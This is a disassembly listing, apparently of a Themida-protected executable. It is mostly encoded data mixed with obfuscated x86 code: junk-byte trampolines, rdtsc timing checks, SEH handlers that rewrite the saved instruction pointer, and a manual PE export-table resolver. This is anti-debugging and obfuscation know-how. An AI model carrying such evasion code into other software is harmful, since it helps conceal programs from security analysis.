dd 6A07E77Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 5229C351h, 7C84A7B2h, 8D8B601Eh
dd 7E41AD1h, 25859D89h, 896107E4h, 0E4233D9Dh, 29D0FF07h
dd 0E42EBD95h, 6A9607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 102FA0C3h, 0FCD85BD1h, 3321B589h
dd 740307E4h, 95892424h, 7E41E6Dh, 90DBD8Dh, 6A07E4h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 0CA99A7C3h, 0B261F503h, 89123514h, 0E41421B5h, 6AAD07h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 475B96C3h, 9E56DFFAh, 10E973h, 0BB020000h, 4D45C334h
dd 0A0D01E93h, 705426B0h, 7C816723h, 2424h, 870F1000h
dd 162h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 0E5C35040h, 9E9DC027h, 0BA4ABC48h, 9E96Ch, 753D0000h
dd 355184AAh, 6017834Dh, 16758589h, 0BDBE07E4h, 61699F8Ch
dd 10E950h, 0D2560000h, 0FC5F3EB7h, 6B0B5B9Ah, 0B15B981Ch
dd 48913BFh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h
dd 95B6CD6h, 0E417C585h, 24448B07h, 0BE86028h, 0F5000000h
dd 1399396h, 269065B1h, 0F18B0C34h, 0CF8B6659h, 870F9061h
dd 13h, 61605250h, 6E9310Fh, 73000000h, 8B0874D1h, 50585AF7h
dd 12860Fh, 52500000h, 310F5250h, 310F585Ah, 310F5250h
dd 585A585Ah, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 60ED5502h, 1499094Ch, 8D09156Ah
dd 7E4164Dh, 7ED8858Dh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 8D29C1C3h, 7E42DCDh
dd 6E9h, 5A887400h, 0FF2B6887h, 51006AD0h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 78F75D43h
dd 0D1CC3621h, 958B5760h, 7E419A9h, 6147B75Fh, 22D19501h
dd 440307E4h, 0ABFC2424h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 50C35040h, 54B5844Eh, 60CBBF19h, 92C08166h
dd 0FC6061FCh, 24DB8166h, 0FA8161C6h, 10000h, 786820Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 0D957A6C3h, 0F8D2B973h, 148C0Fh, 0FE90000h
dd 1C000000h, 0FA85CFA9h, 69BC3D95h, 0AEAD4BB6h, 0BD8D79E2h
dd 7E4220Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 0B3C35141h, 0ADBE632Ah, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 0D3C35343h, 1289C5FDh, 0FE9304Ah
dd 6000000h, 6ECF2C72h, 69BAC995h, 30A3DD54h, 0DE93531h
dd 0DC000000h, 0FEAFB719h, 1664BE4Dh, 3971145Eh, 24247C81h
dd 10000000h, 0C1870Fh, 95890000h, 7E41FD1h, 60525090h
dd 9E8h, 60853D00h, 0F65A21B4h, 505FC3EDh, 5A310F52h, 310F6158h
dd 0EE9h, 0D7ECE800h, 49445B9Dh, 0BF5FF71Ah, 5A123CF1h
dd 0BE95058h, 96000000h, 428995AEh, 0A9EE5DB8h, 99011F9h
dd 0E42D61B5h, 24448B07h, 0EE928h, 21FA0000h, 0DD678920h
dd 0F39615C4h, 0F4B658C2h, 0DE990h, 0F0830000h, 0EED8B1AAh
dd 0EAE3A87Eh, 50A3CA39h, 88B0Fh, 810F0000h, 2, 6A906160h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 129CC351h, 43CC081Fh, 858DF52Ch, 7E77ED8h
dd 224D8589h, 0D0FF07E4h, 85B501FCh, 307E427h, 6A242444h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 6543C353h, 2DBBE1DAh, 14FDF02Ch, 29ED9529h
dd 0DE907E4h, 13000000h, 195FC125h, 0CE2C63A0h, 46F3DADFh
dd 8B606090h, 61FA8BF2h, 61F28B66h, 0F525050h, 28Ah, 0F616000h
dd 0E9525031h, 5, 0DAFF7A54h, 0E9310F13h, 12h, 1A5163F3h
dd 5BF9836Fh, 9CB0320h, 2C8C9C9Eh, 585ACB61h, 6A90585Ah
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 1119C353h, 6F3041EFh, 0A9958979h, 0E907E406h
dd 10h, 15966F67h, 30BD330h, 3165C884h, 5D34FDD0h, 68D0Fh
dd 95890000h, 7E40161h, 56006AABh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 0AF6B2CAEh, 0A6C9C9A2h
dd 8DF911D1h, 0E41AF9BDh, 158D8907h, 0AD07E425h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F4C35747h, 247C81F9h
dd 28h, 10870F10h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0CAC9C355h, 0A2727453h
dd 459D8B60h, 2907E42Dh, 0E41F4995h, 50F86107h, 8E960h
dd 22740000h, 4F479681h, 7E8F7A5h, 31000000h, 0F284DDA7h
dd 61606EC1h, 4896159h, 12870F24h, 0E9000000h, 0Dh, 0B8D3CFC7h
dd 0FE3A0AE4h, 55D1912h, 24448B1Fh, 0E8C0F2Ch, 60000000h
dd 850Fh, 9D890000h, 7E4089Dh, 66605061h, 7DB9CF8Bh, 614FEB66h
dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 8E32C355h, 0A217C12Dh, 8E9h, 0F932D200h
dd 80A2C494h, 0D8858DA7h, 6007E77Eh, 820FB1B5h, 6, 0A99D8Bh
dd 0FF6107E4h, 51006AD0h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 6EDA5061h, 14E99A3Ah
dd 0E4000000h, 9705A73h, 56195DC5h, 0C361B420h, 0CFFDEDA0h
dd 33C0489h, 0F9282444h, 51006AABh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 952939DAh, 7E4022Dh, 8E8DFF5Eh
dd 8307E7B0h, 0E7B08EBDh, 0A750007h, 0B58DC033h, 7E7C0F4h
dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h, 502C2444h
dd 7ED8858Dh, 0D0FF07E7h, 28244403h, 8ADF8B97h, 0E7B08A85h
dd 74C08407h, 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh
dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah
dd 66EBD166h, 973D8D1h, 50413566h, 49F38166h, 75CEFE54h
dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h
dd 74D03B5Ah, 0C6835E0Fh, 0D185FF04h, 0E907E412h, 0FFFFFF5Dh
dd 51006A5Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 9864F812h, 7E9F9h, 6F990000h, 0D4C9D748h
dd 0D1858B4Fh, 6A07E412h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 2D49C355h, 820F42C2h
dd 15h, 10E9h, 2A4E9E00h, 0B7659E30h, 5089632Bh, 7ACA0672h
dd 6880F95h, 89000000h, 0E42DA995h, 89E0D107h, 0E41B31BDh
dd 0F9850307h, 0E907E41Ah, 0Dh, 9C6EA445h, 0F9D56F3Ch
dd 56974E75h, 0E9F62BA6h, 0Ch, 8368AF91h, 0C321AF00h, 0C4EB95E0h
dd 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 0B5485D5Ah, 80893330h, 8D2B6044h, 7E41EE9h
dd 0F9EE8166h, 860F61D3h, 1, 0E9AD66F8h, 8, 0D68EADABh
dd 80CDC98Eh, 6A02E0C1h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 7DEEC350h, 0E852CFE0h
dd 90D8503h, 896007E4h, 0E40D359Dh, 18BA6607h, 6A9661D8h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 1DC1C350h, 0A940D5C4h, 0BF605E4Bh, 6700FF39h
dd 61CBB70Fh, 57006AADh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 440C9EB9h, 7C8139A8h, 2424h, 870F1000h
dd 0EDh, 18E1B501h, 0F9007E4h, 1B89h, 158C0F00h, 0E9000000h
dd 10h, 26801BB0h, 4BD551A4h, 0A2421BFAh, 554B9EDEh, 0C8C0F50h
dd 0F000000h, 684h, 0F525000h, 90585A31h, 0A9958B60h, 0E907E42Eh
dd 13h, 1786FB1Dh, 4A8BFD11h, 2118A43Fh, 0DA220FD6h, 6153D1D8h
dd 0AE9h, 0B48A300h, 55A4DAE6h, 8B98551Fh, 89282444h, 0E42C3185h
dd 8A0F5007h, 0Ah, 61605250h, 6160310Fh, 489585Ah, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0AADF5E23h, 28593CA6h, 8D092D22h, 7E407D1h, 0A9B96660h
dd 21EBBA1Ah, 8D610578h, 0E77ED885h
dd 81666007h, 0E9F5ACEAh, 0Eh, 26E23D2Bh, 26E97AB6h, 3A57B103h
dd 0FF61ABB9h, 6800FD0h, 1000000h, 0E41FDDB5h, 24440307h
dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 14C158D3h, 0EE9h, 1CF5E400h, 0E7164FE2h
dd 0E1E874F1h, 898CE879h, 11C2444h, 0E42209BDh, 2D85C607h
dd 7E42Ch, 0B21285C7h, 7E7h, 85C70000h, 7E7B092h, 0
; ---------------------------------------------------------------------------
jmp loc_5BE5BA
; ---------------------------------------------------------------------------
db 0A7h, 7Eh, 27h
dd 0B5FD8353h, 0F494A953h, 3B2ADB5Ch
db 0AFh, 72h
; ---------------------------------------------------------------------------
loc_5BE5BA: ; CODE XREF: Themida_:005BE5A4j
stc
popa
jge loc_5BE5C8
sub [ebp+7E420D5h], edx
loc_5BE5C8: ; CODE XREF: Themida_:005BE5BCj
jno locret_5BE5D4
xor [ebp+7E42D89h], esi
locret_5BE5D4: ; CODE XREF: Themida_:loc_5BE5C8j
retn 8
; ---------------------------------------------------------------------------
clc
mov eax, [ebp+7E4090Dh]
push 0
push ecx
call sub_5BE5E9
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE5E9 proc near ; CODE XREF: Themida_:005BE5E1p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5BE5E9 endp
; ---------------------------------------------------------------------------
db 2Eh, 60h, 66h
dd 0B95C6B9h, 0E413F9BDh, 6A4A6107h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 0AC21C350h
dd 0E9628077h, 12h, 306B5F43h, 18DAE269h, 0CAE9B687h, 0A2A5E073h
dd 0D26BB557h, 0DE904h, 86DA0000h, 89DBD190h, 2A8AA758h
dd 89E2C454h, 0E41E0585h, 6AC20307h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 3C355h
dd 9974702Fh, 0F4B48549h, 6A96F9h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0C40E09C3h, 60818A0Ch
dd 8BF1BF0Fh, 0E414E9B5h, 0FAD6107h, 1284h, 0DE900h, 54B60000h
dd 9C0A7E40h, 0DD20B538h, 60A71F97h, 1EE9B589h, 0B70F07E4h
dd 7C8161C9h, 2424h, 870F1000h, 0C6h, 24418D89h, 0E95007E4h
dd 10h, 32353495h, 0B15D2D52h, 0B24763E9h, 777E778Ah, 89240489h
dd 0E42CF99Dh, 24448B07h, 55006A28h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F9D6F8C4h
dd 880F6090h, 2, 5061A6B5h, 60CF8B60h, 310F5250h, 5250585Ah
dd 585A310Fh, 0F906161h, 181h, 858DF800h, 7E77ED8h, 18B0Fh
dd 0FFF80000h, 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 5683D64Dh, 0DD87855Ah
dd 6E9A4h, 0ED000000h, 0ACF2F15Dh, 14E9FCh, 0D3E40000h
dd 57077DFFh, 5E20280h, 0C26F336Eh, 0F156FFCh, 9EE9806Bh
dd 0F8FFFFFDh, 0C6E1858Dh, 6A07E7h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0FCDCBDC3h
dd 0D6047B61h, 8B0F90F4h, 0Fh, 0AE9h, 485BA100h, 9829FE73h
dd 509F74DEh, 52505250h, 8E0Fh, 310F0000h, 8F0Fh, 585A0000h
dd 6660310Fh, 8BD697B9h, 585A61FBh, 53006A90h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0C3081CFBh
dd 2A5B1BF9h, 0FF64DCBBh, 35h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 75EDE810h
dd 0B70F60DAh, 39D981F7h, 617457D2h, 6A24048Bh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 0F245C353h, 0C3BF6198h, 198589E6h, 6A07E430h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 3A19C353h, 9D894D6Bh, 7E415A5h, 258964h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 9FDAC355h, 0DD82E791h, 49F03831h, 0D810Fh
dd 66600000h, 0B554CF81h, 5A8FE181h, 8D611101h, 0E7C4E085h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0BD896078h, 7E42631h, 1608961h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 44C35040h, 218D8D29h
dd 0E9FC07E4h, 251h, 6820F60h, 0F000000h, 83h, 0DBD8900h
dd 6107E415h, 0E8DB8BFCh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7E7C4D9h
mov esp, 12FF9Ch
cmp dword ptr [ebp+7E4038Dh], 0
jz short loc_5BE991
mov eax, [ebp+7E41EB5h]
mov byte ptr [eax], 0
mov eax, [ebp+7E4169Dh]
mov byte ptr [eax], 0
call dword ptr [ebp+7E41665h]
loc_5BE991: ; CODE XREF: Themida_:005BE977j
pusha
push dword ptr [ebp+7E7AC96h]
lea eax, [ebp+7E7AC9Ah]
push eax
lea eax, [ebp+7E7AE92h]
push eax
call dword ptr [ebp+7E42169h]
add esp, 0Ch
popa
pusha
jmp loc_5BE9BB
; ---------------------------------------------------------------------------
pop es
inc eax
jmp short loc_5BE9BB
; ---------------------------------------------------------------------------
db 73h
; ---------------------------------------------------------------------------
loc_5BE9BB: ; CODE XREF: Themida_:005BE9B1j
; Themida_:005BE9B8j
js loc_5BE9CE
jmp loc_5BE9CE
; ---------------------------------------------------------------------------
dw 9B5h
dd 0A035F250h
db 6Fh, 0E9h
; ---------------------------------------------------------------------------
loc_5BE9CE: ; CODE XREF: Themida_:loc_5BE9BBj
; Themida_:005BE9C1j
popa
push 0
push ebx
call sub_5BE9DA
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BE9DA proc near ; CODE XREF: Themida_:005BE9D2p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5BE9DA endp
; ---------------------------------------------------------------------------
dw 92BCh
; ---------------------------------------------------------------------------
scasb
or [ebp+7E40185h], esi
lea esi, [ebp+7E7AE92h]
sub [ebp+7E414C5h], ebx
lea edi, [ebp+7E43359h]
xor [ebp+7E41A2Dh], edx
cmp byte ptr [esi], 0
jz loc_5BEA75
sub [ebp+7E4009Dh], ebx
movsb
push 0
push eax
call sub_5BEA26
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEA26 proc near ; CODE XREF: Themida_:005BEA1Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5BEA26 endp
; ---------------------------------------------------------------------------
dw 42E4h
dd 0CCA2D8C5h, 0FFC9E91Dh, 6AFFFFh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 144866C3h
dd 0E91EE8CBh, 0Dh, 0A1D575Ah, 9D78C379h, 0CC71D186h
db 1Ah
; ---------------------------------------------------------------------------
loc_5BEA75: ; CODE XREF: Themida_:005BEA0Ej
sub eax, eax
cmc
stosb
push 0
push esi
call sub_5BEA84
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEA84 proc near ; CODE XREF: Themida_:005BEA7Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5BEA84 endp
; ---------------------------------------------------------------------------
dd 0AFE915F9h, 0E59C6D30h, 8B60874Eh, 0F1BF66CFh, 12E961EBh
dd 29000000h, 698C478Dh, 6C3B71A6h, 44C1284Eh, 8620B84Fh
dd 7B83Eh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 0A1F30BC3h, 1DEE8929h, 0C7247F1Bh
dd 0E40AD985h, 107h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 2D5A2E42h, 0F609695h
dd 683h, 99D8900h, 0BF07E432h, 7FFE391Dh, 8D8DFC61h, 7E44FE7h
dd 14E960h, 0CB5D0000h, 0B56AB4D3h, 0B97DD1DAh, 0BAA6D074h
dd 0B4ABCCD0h, 8D89DC82h, 7E42C01h, 6AE1FF61h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0C196C357h
; ---------------------------------------------------------------------------
loc_5BEB6C: ; DATA XREF: Themida_:0058457Co
mov ebx, [esp+0Ch]
push ebp
call $+5
pop ebp
sub ebp, 7E7C6EBh
mov eax, [ebx+0B8h]
mov [ebp+7E7AC96h], eax
lea eax, [ebp+7E7C4D2h]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5BEBA4
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEBA4 proc near ; CODE XREF: Themida_:005BEB9Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5BEBA4 endp
; ---------------------------------------------------------------------------
dd 897C6157h, 0E422059Dh, 0E1852907h, 8907E413h, 0E418D985h
dd 0BE907h, 47CD0000h, 0CE1B464Ch, 9BC9940Ch, 952960B9h
dd 7E418B5h, 0C9C4858Dh, 850F07E7h, 1, 0DE990F8h, 26000000h
dd 7D19F2ACh, 0F0BF5831h, 8806A096h, 16850F50h, 50000000h
dd 0F525052h, 0F585A31h, 5E931h, 69330000h, 5A3BBA93h
dd 6A9058h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 810F03C3h, 6, 20DB589h, 858907E4h, 7E41F29h
dd 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0E4B4C353h, 9BB32C96h
dd 0A4BAD2EBh, 6810Fh, 0B5310000h, 7E42631h, 258964h, 0F9000000h
dd 0CA5B858Dh, 810F07E7h, 15h, 10E9h, 0E4D0C200h, 0AA2B60A2h
dd 0E781757Ah, 5DABC372h, 160896Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0FEC35343h, 0AFA342A2h, 6296A28Ah
dd 14E9FCh, 0D1620000h, 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h
dd 93DA7FD1h, 85C605FDh, 7E42C2Dh, 0AE9604Fh, 0BB000000h
dd 34D295C1h, 6C13D118h, 0B4BE6686h, 4E861DFh, 2A000000h
dd 50FEC874h, 0DE952h, 0BFC70000h, 914758A9h, 87BCB3BFh
dd 0F8555EAh, 60525031h, 0E9310F61h, 10h, 4ED891D6h, 7A52213Ch
dd 666D024Dh, 33D1B816h, 585A585Ah, 0FE950h, 0E2FE0000h
dd 0ADF17EE9h, 88C62AECh, 0FFB6A56Ch, 24448B26h, 0EE904h
dd 5FF50000h, 0ACCA082Dh, 73F31D56h, 71F6363Bh, 840F008Bh
dd 8, 2830Fh, 61600000h, 4244489h, 0A880Fh, 52500000h
dd 310F6160h, 585A6160h, 6850F58h, 29000000h, 0E4216585h
dd 41B5FF07h, 6A07E421h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 1EB7C353h, 5DBD012Ch
dd 8907E435h, 0E406F59Dh, 0A7858D07h, 6007E7B0h, 25CD8D8Bh
dd 0DE907E4h, 0DA000000h, 0C42D2356h, 653726E5h, 0B85B71C6h
dd 6AD0FF61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 9036C353h, 3B0711E1h, 0CBAEAAAh
dd 0A860Fh, 89600000h, 0E42FF995h, 61C38A07h, 0B5E9h, 0FA8B6000h
dd 2F7DB501h, 0E96107E4h, 0Fh, 742C1184h, 26ABD6E5h, 94AD292Dh
; ---------------------------------------------------------------------------
loc_5BEE4C: ; DATA XREF: Themida_:005843B4o
push 5C8B0C4Eh
and al, 0Ch
push ebp
call $+5
pop ebp
sub ebp, 7E7C9CEh
mov eax, [ebp+7E4019Dh]
mov [ebp+7E42141h], eax
mov eax, [ebp+7E41DE1h]
mov [ebp+7E41D89h], eax
mov eax, [ebp+7E40DE1h]
mov [ebp+7E401CDh], eax
mov byte ptr [ebp+7E42C2Dh], 0
mov dword ptr [ebp+7E7B212h], 0
lea eax, [ebp+7E7CA5Bh]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5BEEB0
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEEB0 proc near ; CODE XREF: Themida_:005BEEA8p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5BEEB0 endp
; ---------------------------------------------------------------------------
mov bl, ah
or cl, [edi-52h]
sub al, 6Bh
scasd
mov ds:57006AC9h, al
call sub_5BEED5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEED5 proc near ; CODE XREF: Themida_:005BEECDp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5BEED5 endp
; ---------------------------------------------------------------------------
push edx
mov esp, 12FF74h
add [ebp+7E41CFDh], eax
or [ebp+7E40EA1h], edi
pop large dword ptr fs:0
push 0
push ebx
call sub_5BEF09
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BEF09 proc near ; CODE XREF: Themida_:005BEF01p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5BEF09 endp
; ---------------------------------------------------------------------------
push ebp
movsd
lds eax, [ebx+61FC04C4h]
jmp loc_5BEFA9
; ---------------------------------------------------------------------------
push ebx
push ecx
push edx
push esi
push edi
mov ebx, [esp+1Ch]
cmp word ptr [ebx], 5A4Dh
jnz loc_5BEFA2
movzx eax, word ptr [ebx+3Ch]
add ebx, eax
cmp word ptr [ebx], 4550h
jnz loc_5BEFA2
mov ebx, [ebx+78h]
add ebx, [esp+1Ch]
mov esi, [ebx+24h]
add esi, [esp+1Ch]
push esi
mov edi, [ebx+20h]
mov esi, [ebx+1Ch]
add edi, [esp+20h]
add esi, [esp+20h]
cld
or ecx, 0FFFFFFFFh
loc_5BEF6C: ; CODE XREF: Themida_:005BEF82j
; Themida_:005BEF8Aj
inc ecx
mov ebx, [esp+1Ch]
mov edx, [edi]
add edx, [esp+20h]
add edi, 4
loc_5BEF7A: ; CODE XREF: Themida_:005BEF86j
mov al, [edx]
test al, al
jz short loc_5BEF88
cmp al, [ebx]
jnz short loc_5BEF6C
inc ebx
inc edx
jmp short loc_5BEF7A
; ---------------------------------------------------------------------------
loc_5BEF88: ; CODE XREF: Themida_:005BEF7Ej
cmp al, [ebx]
jnz short loc_5BEF6C
pop edi
shl ecx, 1
movzx eax, word ptr [edi+ecx]
mov eax, [esi+eax*4]
add eax, [esp+1Ch]
loc_5BEF9A: ; CODE XREF: Themida_:005BEFA4j
pop edi
pop esi
pop edx
pop ecx
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_5BEFA2: ; CODE XREF: Themida_:005BEF34j
; Themida_:005BEF45j
xor eax, eax
jmp loc_5BEF9A
; ---------------------------------------------------------------------------
loc_5BEFA9: ; CODE XREF: Themida_:005BEF21j
mov ecx, edx
call near ptr loc_5BEFBA+4
wait
mov [eax], ebx
or al, 0BEh
adc eax, 0F4C39588h
loc_5BEFBA: ; CODE XREF: Themida_:005BEFABp
mov ebp, 81D964D7h
loopne near ptr loc_5BF024+1
dec ebp
sub eax, 0B8665F3Ah
fdivr dword ptr [ebp-7Fh]
mov dword ptr [eax-7EFFFF9Dh], 76A19ED8h
jnp short loc_5BF03E
enter 18h, 0
xor si, 8664h
pop ecx
mov esi, 666B35D4h
loc_5BEFE5: ; CODE XREF: Themida_:005BF02Dj
mov edx, [edi]
jo loc_5BEFEE
cmc
loc_5BEFEE: ; CODE XREF: Themida_:005BEFE7j
sub edx, 41613437h
xor si, 6A80h
sub edx, 400A235Dh
movzx ebx, cx
xor edx, 51A03303h
jl loc_5BF012
mov bx, 0B892h
loc_5BF012: ; CODE XREF: Themida_:005BF008j
push edx
cmc
pop dword ptr [edi]
jmp loc_5BF021
; ---------------------------------------------------------------------------
db 85h
dd 3CEEA63Ch
db 0C1h
; ---------------------------------------------------------------------------
loc_5BF021: ; CODE XREF: Themida_:005BF016j
sub edi, 4
loc_5BF024: ; CODE XREF: Themida_:005BEFBFj
mov bx, di
sub ecx, 1
jnz loc_5BEFE5
jmp loc_5BF044
; ---------------------------------------------------------------------------
dd 0BC0343B1h
; ---------------------------------------------------------------------------
ja short loc_5BF04E
loc_5BF03E: ; CODE XREF: Themida_:005BEFD4j
mov edi, esi
test [ebp+ebp*2+0], cl
loc_5BF044: ; CODE XREF: Themida_:005BF033j
jmp short loc_5BF07A
; ---------------------------------------------------------------------------
dec ecx
inc esi
push ebx
dec ebp
inc edi
push edx
and [eax], ah
loc_5BF04E: ; CODE XREF: Themida_:005BF03Cj
push esi
dec ebx
inc esp
and [eax], ah
and [eax], ah
and [esi+4Dh], dl
dec ebp
and [eax], ah
and [eax], ah
and [esi+57h], dl
dec ecx
dec esi
xor esi, [edx]
and [eax], ah
push esi
pop eax
inc esp
dec esp
inc esp
push edx
and [eax], ah
; ---------------------------------------------------------------------------
dw 0
dd 2 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5BF07A: ; CODE XREF: Themida_:loc_5BF044j
jmp loc_5BF82B
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5BF08A
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF08A proc near ; CODE XREF: Themida_:005BF082p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5BF08A endp
; ---------------------------------------------------------------------------
pushf
pusha
push 0
push ecx
call sub_5BF0A7
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF0A7 proc near ; CODE XREF: Themida_:005BF09Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5BF0A7 endp
; ---------------------------------------------------------------------------
db 0F8h
dd 1F3CAC58h, 7088DAF2h, 0F1B70F60h, 8A0Fh, 0C7610000h
dd 0E7CBE385h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 91805CCBh, 0F8017042h
dd 0EE9h, 0E0FE9800h, 0D6795746h, 2DBC6117h, 8B612F97h
dd 50006AC6h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 1A42630Eh, 0C8C0FB2h, 0F000000h, 689h, 850F00h
dd 0F000000h, 18Dh, 0B70FF900h, 53006AD8h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0E33EF3B2h
dd 0F512BB20h, 6A10E8C1h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0F73C352h, 185h, 0C166FC00h
dd 6A08C8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
